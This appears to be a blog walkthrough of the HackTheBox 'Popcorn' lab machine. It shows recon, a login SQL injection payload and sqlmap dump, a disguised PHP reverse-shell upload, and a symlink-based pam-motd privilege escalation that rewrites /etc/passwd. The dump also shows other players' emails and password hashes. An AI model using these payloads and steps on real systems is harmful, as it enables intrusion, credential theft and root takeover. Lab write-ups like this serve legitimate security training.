HackTheBox - Popcorn Walkthrough

July 16, 2019


Let’s get some Popcorn and watch a movie! :)

1. Recon and Information gathering


# Nmap 7.70SVN scan initiated Sat Jul 13 20:36:07 2019 as: nmap -sV -sC -oN base_tcp.nmap
Nmap scan report for
Host is up (0.037s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Skipping this for now.


On port 80 I have a default Apache web page. Guess some dirbusting is needed :)

Dir busting
root@pop-os:/home/plamer/hackthebox/popcorn# gobuster dir -w /opt/wordlists/dir/big.txt -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /opt/wordlists/dir/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2019/07/16 00:01:34 Starting gobuster
/.htaccess (Status: 403)
/.htpasswd (Status: 403)

/cgi-bin/ (Status: 403)
/index (Status: 200)
/rename (Status: 301)
/test (Status: 200)
/test.php (Status: 200)
/torrent (Status: 301)
/server-status (Status: 403)

Going after the torrent folder I get quite the list:

root@pop-os:/hackthebox/popcorn# gobuster dir -w /opt/wordlists/dir/big.txt -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /opt/wordlists/dir/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2019/07/16 00:01:34 Starting gobuster
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/admin (Status: 301)
/browse (Status: 200)
/comment (Status: 200)
/config (Status: 200)
/css (Status: 301)
/database (Status: 301)
/download (Status: 200)
/edit (Status: 200)
/health (Status: 301)
/hide (Status: 200)
/images (Status: 301)
/index (Status: 200)
/js (Status: 301)
/lib (Status: 301)
/login (Status: 200)
/logout (Status: 200)
/preview (Status: 200)
/readme (Status: 301)
/rss (Status: 200)
/secure (Status: 200)
/stylesheet (Status: 200)
/templates (Status: 301)
/thumbnail (Status: 200)
/torrents (Status: 301)
/upload (Status: 301)
/upload_file (Status: 200)
/users (Status: 301)
/validator (Status: 200)

/torrent/ - A torrent app? Guess my way in is through this.

Rename function

/rename/ - Rename function? It maybe useful later? For.. like moving empty index.php files, so we can check the directory content ;)

Info php

/test.php - info.php, php 5.2 with Suhosin

2. Initial foothold/low priv user

So, I have a rename function:

And I get some credentials… aand they don’t work as a login for the web site nor ssh

  $CFG->host = "localhost";
  $CFG->dbName = "torrenthoster";	//db name
  $CFG->dbUserName = "torrent";    //db username
  $CFG->dbPassword = "SuperSecret!!";	//db password

Not really useful :/

Back to the webapp and the login. Let’s try some basic SQLi with burp:

POST /torrent/login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Connection: close
Cookie: /torrent/=; /torrent/login.php=; PHPSESSID=b4c66adf337b8e3209f42e7fa3b983e7
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Sun, 14 Jul 2019 17:42:50 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 420
Connection: close
Content-Type: text/html

<h2>Can't execute query</h2><pre>
	SELECT userName, password, privilege, email
	FROM users
	WHERE userName = ''' AND password = '63a9f0ea7bb98050796b649e85481845'
	</pre><p><b>MySQL Error</b>: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '63a9f0ea7bb98050796b649e85481845'' at line 3<p>This script cannot continue, terminating.

Yikes! I now know how does the SQL query looks - SELECT userName, password, privilege, email.... With a simple SQLi for the user field and I find myself logged in as Admin - username=' OR '1'='1';-- -&password=flame_n. There’s not much to do even as Admin (so I could’ve just signed up, but where’s the fun in that :) ), so let’s get the request from burp, save it to a file and then run sqlmap, dump the torrenthoster db and see if there’s something else interesting in the database:

sqlmap -r login.req --batch --dump torrenthoster

[3 entries]
| id | email                          | joined              | userName | password                                    | privilege | lastconnect         |
| 3  | admin@yourdomain.com           | 2007-01-06 21:12:46 | Admin    | d5bfedcee289e5e05b86daad8ee3e2e2            | admin     | 2007-01-06 21:12:46 |
| 5  | flame@htb.tu                   | 2019-07-14 12:28:21 | flame    | 599dd3c7d37cb5e2d5045b60c9b95df4 (flame)    | user      | 2019-07-14 12:28:21 |
| 6  | leonardo.porpora2000@gmail.com | 2019-07-14 17:36:19 | lol      | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | user      | 2019-07-14 17:36:19 |

SQLMap cracked mine and guess some other player’s passwords, but not Admin’s and sadly I couldn’t crack it with rockyou.

Let’s poke a bit more…. While I tried to write to a file I got mysql access error for user torrent:

username=' UNION SELECT 'test',2,3,4 INTO OUTFILE '/var/www/torrent/upload/test.txt';-- -&password=flame_n

</pre><p><b>MySQL Error</b>: Access denied for user 'torrent'@'localhost' (using password: YES)<p>This script cannot continue, terminating.

Not sure if I’m doing it wrong or it isn’t supposed to work :)

A bit more enumeration and this pops up: but I already have db dump from SQLMap, not really useful.

CMD shell upload

Let’s try the upload functionality - both for torrents and for images/screenshots. Uploading a php instead of torrent failed (without modificaiton). I’ll try prepending the torrent in my php shell and then try again:

root@pop-os:~/hackthebox/popcorn# cp /pentest/vulnerability-analysis/fuzzdb/web-backdoors/php/php-reverse-shell.php .
root@pop-os:~/hackthebox/popcorn# cat kali.torrent > shell.php
root@pop-os:~/hackthebox/popcorn# cat php-reverse-shell.php >> shell.php 

And then use burp to intercept the upload request and change the type from application/x-php to application/x-bittorrent. It uploaded successfully but, then used the rename function on the uploaded file - aand it failed :/ that’s it. It looks like a dead end. But when I tried the same (but just prepending the fist 20 bytes from a png) to the shell, intercepting with burp, changing the type to image and uploading it - this time it worked!

root@pop-os:~/hackthebox/popcorn# cat flame.png | head -c 20 > shell2.php
root@pop-os:~/hackthebox/popcorn# cat php-reverse-shell.php >> shell2.php 

The shell is uploaded to torrent/upload with a generated name, but with .php extension! After I have a backdoor/rev shell on the host let’s try connecting back to my attack machine ((netcat listener):

Aaand Pop! Got a shell back one last thing before enumerating the system from inside - as I’m not a monster I’ll first upgrade my shell:

python -c 'import pty;pty.spawn("/bin/bash")'


stty raw -echo

and set the term as xterm. Now I can use ctrl+c and tab as a normal person!

Low priv enum


www-data@popcorn:/dev/shm$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
george:x:1000:1000:George Papagiannopoulos,,,:/home/george:/bin/bash
mysql:x:104:113:MySQL Server,,,:/var/lib/mysql:/bin/false

I have one low-priv user - george, and his flag is world readable:

Get the flag

www-data@popcorn:/dev/shm$ cat /home/george/user.txt 


-rw-rw-rw- 1 root root 165 Jul 15 16:51 /var/run/motd

Hm, that got my attention and I decided to search a bit if it’s normal since I know ubuntu uses dynamic motd, which is assembled from multiple scripts at login. Searching for ubuntu /var/run/motd vulnerability got me a result for CEV-2010-0832 - slightly different, but still connected with pam-motd? Yup! Basically it’s a bug as old as the world itself… (well, not really, just 2010) - On successfull ssh PAM checks ~/.cache for ownership (for writing/displaying MOTD etc.) and chowns it to the user, but the problem is it does so blindly, without checking first, for example, if ~/.cache is a symlink to something owned by root, like /etc/passwd or /etc/shadow and so on - you get the point. So by removing the original directory and creating a symlink to /etc/passwd, then generating public/private key pair and adding it to ~/.ssh/authorized_keys and ssh-ing to localhost I get ownership of /etc/passwd and can change the root password (for backward compatibility you can set the password in /etc/password, instead of using x and setting it up in /etc/shadow):

www-data@popcorn:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/var/www/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /var/www/.ssh/id_rsa.
Your public key has been saved in /var/www/.ssh/id_rsa.pub.

www-data@popcorn:~$ cp /var/www/.ssh/id_rsa.pub /var/www/.ssh/authorized_keys
www-data@popcorn:~$ rm -rf .cache
www-data@popcorn:~$ ln -s /etc/passwd .cache
www-data@popcorn:~$ ssh localhost
$ ls -lah /etc/passwd
-rw-r--r-- 1 www-data www-data 1.1K 2017-03-17 19:07 /etc/passwd

Then I generated my password and added it in the second field of the file:

root@pop-os:/hackthebox/popcorn# perl -e 'print crypt("flamen", "salt"),"\n"'
$ vim /etc/passwd
$ su -
root@popcorn:~# id
uid=0(root) gid=0(root) groups=0(root)
root@popcorn:~# cat /root/root.txt 

Since it’s an old box I could try dirty cow here, but… that’s no fun so I’ll submit my flags and move on the next box :)

I enjoyed this box! No metasploit and “point-and-shoot” solutions - it’s still easy, but way more interesting that the previous 2 boxes.